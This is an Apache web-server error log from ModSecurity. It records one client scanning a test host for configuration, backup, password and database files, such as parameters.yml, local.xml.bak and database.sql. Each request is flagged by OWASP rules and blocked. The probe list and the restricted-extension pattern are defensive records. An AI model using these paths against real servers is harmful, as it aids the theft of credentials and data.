[Mon Jul 28 20:46:30.125612 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/config/parameters.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAgAAAAU&quot;]
[Mon Jul 28 20:46:30.125830 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAgAAAAU&quot;]
[Mon Jul 28 20:46:30.126013 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/config/parameters.yml&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAgAAAAU&quot;]
[Mon Jul 28 20:46:30.155168 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/composer.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAwAAAAU&quot;]
[Mon Jul 28 20:46:30.155372 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAwAAAAU&quot;]
[Mon Jul 28 20:46:30.155527 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/composer.json&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYAwAAAAU&quot;]
[Mon Jul 28 20:46:30.184643 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/package.json&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /package.json found within REQUEST_FILENAME: /package.json&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYBAAAAAU&quot;]
[Mon Jul 28 20:46:30.184865 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYBAAAAAU&quot;]
[Mon Jul 28 20:46:30.185037 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/package.json&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYBAAAAAU&quot;]
[Mon Jul 28 20:46:30.289593 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYBwAAAAU&quot;]
[Mon Jul 28 20:46:30.289901 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYBwAAAAU&quot;]
[Mon Jul 28 20:46:30.290074 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/php.log&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYBwAAAAU&quot;]
[Mon Jul 28 20:46:30.319065 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYCAAAAAU&quot;]
[Mon Jul 28 20:46:30.319381 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYCAAAAAU&quot;]
[Mon Jul 28 20:46:30.319568 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/build.log&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYCAAAAAU&quot;]
[Mon Jul 28 20:46:30.741578 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.pwd&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYFgAAAAU&quot;]
[Mon Jul 28 20:46:30.741909 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYFgAAAAU&quot;]
[Mon Jul 28 20:46:30.742078 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/service.pwd&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYFgAAAAU&quot;]
[Mon Jul 28 20:46:30.831185 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGQAAAAU&quot;]
[Mon Jul 28 20:46:30.831499 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGQAAAAU&quot;]
[Mon Jul 28 20:46:30.831671 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/configuration.php.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGQAAAAU&quot;]
[Mon Jul 28 20:46:30.860701 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGgAAAAU&quot;]
[Mon Jul 28 20:46:30.860842 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/app/etc/local.xml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /app/etc/local.xml found within REQUEST_FILENAME: /app/etc/local.xml.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGgAAAAU&quot;]
[Mon Jul 28 20:46:30.861040 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGgAAAAU&quot;]
[Mon Jul 28 20:46:30.861216 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/app/etc/local.xml.bak&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGgAAAAU&quot;]
[Mon Jul 28 20:46:30.890192 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGwAAAAU&quot;]
[Mon Jul 28 20:46:30.890539 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGwAAAAU&quot;]
[Mon Jul 28 20:46:30.890722 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/database.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYGwAAAAU&quot;]
[Mon Jul 28 20:46:30.919820 2025] [:error] [pid 1530492] [client 185.177.72.201:44428] [client 185.177.72.201] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/mysql.sql&quot;] [unique_id &quot;aIfFhg9nLjdPblA-25FYHAAAAAU&quot;]
